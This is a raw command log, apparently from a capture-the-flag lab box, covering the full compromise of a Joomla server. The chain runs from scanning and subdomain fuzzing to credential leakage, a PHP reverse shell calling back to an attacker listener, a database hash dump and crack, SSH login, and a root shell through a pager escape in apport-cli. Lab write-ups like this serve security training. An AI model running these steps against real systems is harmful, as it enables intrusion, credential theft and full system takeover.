nmap -sC -sV -T4 -A -Pn -p- --open 10.10.11.242
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-16 14:25 EST
Nmap scan report for 10.10.11.242
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/16%OT=22%CT=1%CU=30802%PV=Y%DS=2%DC=T%G=Y%TM=6789
OS:5D32%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)
 
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   23.98 ms 10.10.14.1
2   24.25 ms 10.10.11.242

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://devvortex.htb/ -H 'Host: FUZZ.devvortex.htb' -fs 154 -mc all
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://devvortex.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.devvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 154
________________________________________________
 
dev                     [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 114ms]
:: Progress: [4989/4989] :: Job [1/1] :: 1666 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

droopescan scan joomla --url http://dev.devvortex.htb/ 
[+] No version found.                                                           
 
[+] Possible interesting urls found:
    Detailed version information. - http://dev.devvortex.htb/administrator/manifests/files/joomla.xml
    Login page. - http://dev.devvortex.htb/administrator/
    License file. - http://dev.devvortex.htb/LICENSE.txt
    Version attribute contains approx version - http://dev.devvortex.htb/plugins/system/cache/cache.xml
 
[+] Scan finished (0:00:00.622851 elapsed)

{"type":"application","id":"224","attributes":{"user":"lewis","id":224}},{"type":"application","id":"224","attributes":{"password":"P4ntherg0t1n5r3c0n##","id":224}},

cp /usr/share/webshells/php/php-reverse-shell.php ./

nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.242] 41748
Linux devvortex 5.4.0-167-generic #184-Ubuntu SMP Tue Oct 31 09:21:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 01:38:45 up  6:19,  0 users,  load average: 0.03, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
 

 
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      890/nginx: worker p 
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      890/nginx: worker p 
tcp6       0      0 :::22                   :::*                    LISTEN      -                   

www-data@devvortex:~/dev.devvortex.htb$ cat configuration.php
cat configuration.php
<?php
class JConfig {
	public $offline = false;
	public $offline_message = 'This site is down for maintenance.<br>Please check back again soon.';
	public $display_offline_message = 1;
	public $offline_image = '';
	public $sitename = 'Development';
	public $editor = 'tinymce';
	public $captcha = '0';
	public $list_limit = 20;
	public $access = 1;
	public $debug = false;
	public $debug_lang = false;
	public $debug_lang_const = true;
	public $dbtype = 'mysqli';
	public $host = 'localhost';
	public $user = 'lewis';
	public $password = 'P4ntherg0t1n5r3c0n##';
	public $db = 'joomla';
	public $dbprefix = 'sd4fg_';
	public $dbencryption = 0;
	public $dbsslverifyservercert = false;

www-data@devvortex:~/dev.devvortex.htb$ mysql -h 127.0.0.1 -u lewis -p''

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| joomla             |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)

mysql> show tables;
show tables;
+-------------------------------+
| Tables_in_joomla              |
+-------------------------------+
| sd4fg_action_log_config       |
| sd4fg_action_logs             |
| sd4fg_action_logs_extensions  |
| sd4fg_action_logs_users       |
| sd4fg_assets                  |
| sd4fg_associations            |
| sd4fg_banner_clients          |
| sd4fg_banner_tracks           |
| sd4fg_banners                 |
| sd4fg_categories              |
| sd4fg_contact_details         |
| sd4fg_content                 |
| sd4fg_content_frontpage       |
| sd4fg_content_rating          |
| sd4fg_content_types           |
| sd4fg_contentitem_tag_map     |
| sd4fg_extensions              |
| sd4fg_fields                  |
| sd4fg_fields_categories       |
| sd4fg_fields_groups           |
| sd4fg_fields_values           |
| sd4fg_finder_filters          |
| sd4fg_finder_links            |
| sd4fg_finder_links_terms      |
| sd4fg_finder_logging          |
| sd4fg_finder_taxonomy         |
| sd4fg_finder_taxonomy_map     |
| sd4fg_finder_terms            |
| sd4fg_finder_terms_common     |
| sd4fg_finder_tokens           |
| sd4fg_finder_tokens_aggregate |
| sd4fg_finder_types            |
| sd4fg_history                 |
| sd4fg_languages               |
| sd4fg_mail_templates          |
| sd4fg_menu                    |
| sd4fg_menu_types              |
| sd4fg_messages                |
| sd4fg_messages_cfg            |
| sd4fg_modules                 |
| sd4fg_modules_menu            |
| sd4fg_newsfeeds               |
| sd4fg_overrider               |
| sd4fg_postinstall_messages    |
| sd4fg_privacy_consents        |
| sd4fg_privacy_requests        |
| sd4fg_redirect_links          |
| sd4fg_scheduler_tasks         |
| sd4fg_schemas                 |
| sd4fg_session                 |
| sd4fg_tags                    |
| sd4fg_template_overrides      |
| sd4fg_template_styles         |
| sd4fg_ucm_base                |
| sd4fg_ucm_content             |
| sd4fg_update_sites            |
| sd4fg_update_sites_extensions |
| sd4fg_updates                 |
| sd4fg_user_keys               |
| sd4fg_user_mfa                |
| sd4fg_user_notes              |
| sd4fg_user_profiles           |
| sd4fg_user_usergroup_map      |
| sd4fg_usergroups              |
| sd4fg_users                   |
| sd4fg_viewlevels              |
| sd4fg_webauthn_credentials    |
| sd4fg_workflow_associations   |
| sd4fg_workflow_stages         |
| sd4fg_workflow_transitions    |
| sd4fg_workflows               |
+-------------------------------+
71 rows in set (0.00 sec)

mysql> select * from sd4fg_users;
select * from sd4fg_users;
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| id  | name       | username | email               | password                                                     | block | sendEmail | registerDate        | lastvisitDate       | activation | params                                                                                                                                                  | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| 649 | lewis      | lewis    | lewis@devvortex.htb | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |     0 |         1 | 2023-09-25 16:44:24 | 2025-01-16 23:01:04 | 0          |                                                                                                                                                         | NULL          |          0 |        |      |            0 |              |
| 650 | logan paul | logan    | logan@devvortex.htb | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |     0 |         0 | 2023-09-26 19:15:42 | NULL                |            | {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} | NULL          |          0 |        |      |            0 |              |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
2 rows in set (0.00 sec)

hashcat -m 3200 '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12' /usr/share/wordlists/rockyou.txt
 
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12:tequieromucho

ssh logan@10.10.11.242
password: tequieromucho

logan@devvortex:~$ cat user.txt
ebd7c14b...

logan@devvortex:~$ sudo -l
[sudo] password for logan: 
Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

logan@devvortex:~$ sudo /usr/bin/apport-cli -f
 
*** What kind of problem do you want to report?
 
 
Choices:
  1: Display (X.org)
  2: External or internal storage devices (e. g. USB sticks)
  3: Security related problems
  4: Sound/audio related problems
  5: dist-upgrade
  6: installation
  7: installer
  8: release-upgrade
  9: ubuntu-release-upgrader
  10: Other problem
  C: Cancel
Please choose (1/2/3/4/5/6/7/8/9/10/C): 1
 
Choices:
  1: Display (X.org)
  2: External or internal storage devices (e. g. USB sticks)
  3: Security related problems
  4: Sound/audio related problems
  5: dist-upgrade
  6: installation
  7: installer
  8: release-upgrade
  9: ubuntu-release-upgrader
  10: Other problem
  C: Cancel
Please choose (1/2/3/4/5/6/7/8/9/10/C): 4
 
*** Send problem report to the developers?
 
After the problem report has been sent, please fill out the form in the
automatically opened web browser.
 
What would you like to do? Your options are:
  S: Send report (1.4 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C): V
 

:!/bin/bash

root@devvortex:/home/logan# whoami
root

root@devvortex:~# cat root.txt
a20294d4...